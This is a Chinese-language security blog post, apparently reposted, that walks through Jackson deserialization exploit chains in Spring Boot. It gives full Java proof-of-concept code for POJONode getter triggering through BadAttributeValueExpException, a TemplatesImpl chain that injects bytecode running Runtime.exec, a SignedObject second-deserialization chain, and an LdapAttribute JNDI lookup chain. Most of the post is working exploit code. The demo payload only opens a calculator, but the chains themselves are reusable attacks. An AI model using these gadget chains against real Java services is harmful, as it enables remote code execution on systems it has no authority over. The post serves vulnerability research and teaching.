JackSon反序列化通杀

前言

Springboot一般都会自带JackSon这个依靠包，JackSon跟Fastjson有相同的功效
简单复现

1. package com.example.jakeson.demo;
2. import java.io.IOException;
3. import java.io.Serializable;
5. public class User implements Serializable {
6.     public User() {
7.     }
9.     public Object getName() throws IOException {
10.         Runtime.getRuntime().exec("calc");
11.         return "1";
12.     }
14.     public Object setName(String name) {
15.         System.out.println("setname");
16.         return "2";
17.     }
18. }

复制代码

1. package com.example.jakeson.demo;
3. import com.fasterxml.jackson.databind.node.POJONode;
5. public class JakesonDemo {
6.     public static void main(String[] args) {
7.         User user = new User();
8.         POJONode jsonNodes = new POJONode(user);
9.         jsonNodes.toString();
10.     }
11. }

复制代码

运行即可弹计算器
Jackson反序列化利用链

注意点

PoJoNode类是继续ValueNode，ValueNode是继续BaseJsonNode类，我们看看BaseJsonNode类

它拥有writeReplace方法，有这个方法就意味着反序列化时不会走正常渠道，而是走这个writeReplace方法，这是反序列化的规则，办理办法就是重写BaseJsonNode类

把这个writeReplace解释掉即可
TemplatesImpl链

1. package com.example.jakeson.demo;
3. import com.fasterxml.jackson.databind.node.POJONode;
4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
5. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
6. import javassist.*;
7. import org.springframework.http.HttpEntity;
8. import org.springframework.http.HttpHeaders;
9. import org.springframework.http.ResponseEntity;
10. import org.springframework.web.client.RestTemplate;
12. import javax.management.BadAttributeValueExpException;
13. import javax.xml.transform.Templates;
14. import java.io.*;
15. import java.lang.reflect.Field;
16. import java.net.URI;
17. import java.util.Base64;
19. public class TemplatesImplDemo {
20.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
21.         Field f = obj.getClass().getDeclaredField(fieldName);
22.         f.setAccessible(true);
23.         f.set(obj, value);
24.     }
25.     public static void main(String[] args) throws Exception {
26.         ClassPool pool = ClassPool.getDefault();
27.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
28.         CtClass ct = pool.makeClass("Cat");
29.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
30.         ct.makeClassInitializer().insertBefore(cmd);
31.         String randomClassName = "EvilCat" + System.nanoTime();
32.         ct.setName(randomClassName);
33.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
34.         byte[][] bytes = new byte[][]{ct.toBytecode()};
35.         Templates templatesImpl = new TemplatesImpl();
36.         setFieldValue(templatesImpl, "_bytecodes", bytes);
37.         setFieldValue(templatesImpl, "_name", "a");
38.         setFieldValue(templatesImpl, "_tfactory", null);
39.         POJONode pojoNode = new POJONode(templatesImpl);
40.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
41.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
42.         val.setAccessible(true);
43.         val.set(exp,pojoNode);
44.         System.out.println(serial(exp));
45.         deserial(serial(exp));
46.     }
47.     public static String serial(Object o) throws IOException, NoSuchFieldException {
48.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
49.         ObjectOutputStream oos = new ObjectOutputStream(baos);
50.         oos.writeObject(o);
51.         oos.close();
53.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
54.         return base64String;
56.     }
58.     public static void deserial(String data) throws Exception {
59.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
60.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
61.         ObjectInputStream ois = new ObjectInputStream(bais);
62.         ois.readObject();
63.         ois.close();
64.     }
65. }

复制代码

TemplatesImpl的流程就不跟了，简单的跟一下Jackson的流程，BadAVEE里面触发toString

进入到重写的BaseJsonNode类的toString方法

中间流程断了，。。。。，跟到最后，在StdSerializer类中wrapAndThrow方法调用到了getter

SignObject链

二次反序列化，无需多讲

1. package com.example.jakeson.demo;
3. import com.fasterxml.jackson.databind.node.POJONode;
4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
5. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
6. import javassist.ClassClassPath;
7. import javassist.ClassPool;
8. import javassist.CtClass;
10. import javax.management.BadAttributeValueExpException;
11. import javax.xml.transform.Templates;
12. import java.io.*;
13. import java.lang.reflect.Field;
14. import java.security.*;
15. import java.util.Base64;
17. public class SignObjectDemo {
18.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
19.         Field f = obj.getClass().getDeclaredField(fieldName);
20.         f.setAccessible(true);
21.         f.set(obj, value);
22.     }
23.     public static void main(String[] args) throws Exception {
24.         ClassPool pool = ClassPool.getDefault();
25.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
26.         CtClass ct = pool.makeClass("Cat");
27.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
28.         ct.makeClassInitializer().insertBefore(cmd);
29.         String randomClassName = "EvilCat" + System.nanoTime();
30.         ct.setName(randomClassName);
31.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
32.         byte[][] bytes = new byte[][]{ct.toBytecode()};
33.         Templates templatesImpl = new TemplatesImpl();
34.         setFieldValue(templatesImpl, "_bytecodes", bytes);
35.         setFieldValue(templatesImpl, "_name", "a");
36.         setFieldValue(templatesImpl, "_tfactory", null);
37.         POJONode pojoNode = new POJONode(templatesImpl);
38.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
39.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
40.         val.setAccessible(true);
41.         val.set(exp,pojoNode);
42.         KeyPairGenerator keyPairGenerator;
43.         keyPairGenerator = KeyPairGenerator.getInstance("DSA");
44.         keyPairGenerator.initialize(1024);
45.         KeyPair keyPair = keyPairGenerator.genKeyPair();
46.         PrivateKey privateKey = keyPair.getPrivate();
47.         Signature signingEngine = Signature.getInstance("DSA");
48.         SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
49.         POJONode pojoNode2 = new POJONode(signedObject);
50.         BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
51.         Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
52.         val2.setAccessible(true);
53.         val2.set(exp2,pojoNode2);
54.         System.out.println(serial(exp2));
55.         deserial(serial(exp2));
56.     }
57.     public static String serial(Object o) throws IOException, NoSuchFieldException {
58.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
59.         ObjectOutputStream oos = new ObjectOutputStream(baos);
60.         oos.writeObject(o);
61.         oos.close();
63.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
64.         return base64String;
66.     }
68.     public static void deserial(String data) throws Exception {
69.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
70.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
71.         ObjectInputStream ois = new ObjectInputStream(bais);
72.         ois.readObject();
73.         ois.close();
74.     }
75. }

复制代码

LdapAttribute链

1. package com.example.jakeson.demo;
2. import com.fasterxml.jackson.databind.node.POJONode;
3. import javax.management.BadAttributeValueExpException;
4. import javax.naming.CompositeName;
5. import java.io.*;
6. import java.lang.reflect.Constructor;
7. import java.lang.reflect.Field;
8. import java.util.Base64;
10. public class LdapAttributeDemo {
11.     public static void main( String[] args ) throws Exception {
12.         String ldapCtxUrl = "ldap://127.0.0.1:1099/";
13.         Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
14.         Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
15.                 new Class[] {String.class});
16.         ldapAttributeClazzConstructor.setAccessible(true);
17.         Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
18.                 new Object[] {"name"});
19.         Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
20.         baseCtxUrlField.setAccessible(true);
21.         baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
22.         Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
23.         rdnField.setAccessible(true);
24.         rdnField.set(ldapAttribute, new CompositeName("a//b"));
25.         POJONode jsonNodes = new POJONode(ldapAttribute);
26.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
27.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
28.         val.setAccessible(true);
29.         val.set(exp,jsonNodes);
30.         deserial(serial(exp));
31.     }
32.     public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
33.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
34.         ObjectOutputStream oos = new ObjectOutputStream(baos);
35.         oos.writeObject(o);
36.         oos.close();
37.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
38.         return base64String;
40.     }
42.     public static void deserial(String data) throws Exception {
43.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
44.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
45.         ObjectInputStream ois = new ObjectInputStream(bais);
46.         ois.readObject();
47.         ois.close();
48.     }
49.     private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
50.         Field f = obj.getClass().getDeclaredField(field);
51.         f.setAccessible(true);
52.         f.set(obj, arg);
53.     }
54. }

复制代码

LdapAttribute类中有getter方法调用了lookup

两处入口，上面poc进入的是getAttributeDefinition方法，payload有些讲究，我们之前的payload都是ldap://xxxxx/xxx，这里payload必须是ldap://xxxx/不需要后缀了，详细原因是，艹了，没有java文件调试不了，不想去下了，大伙去看别的师傅的思绪吧

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。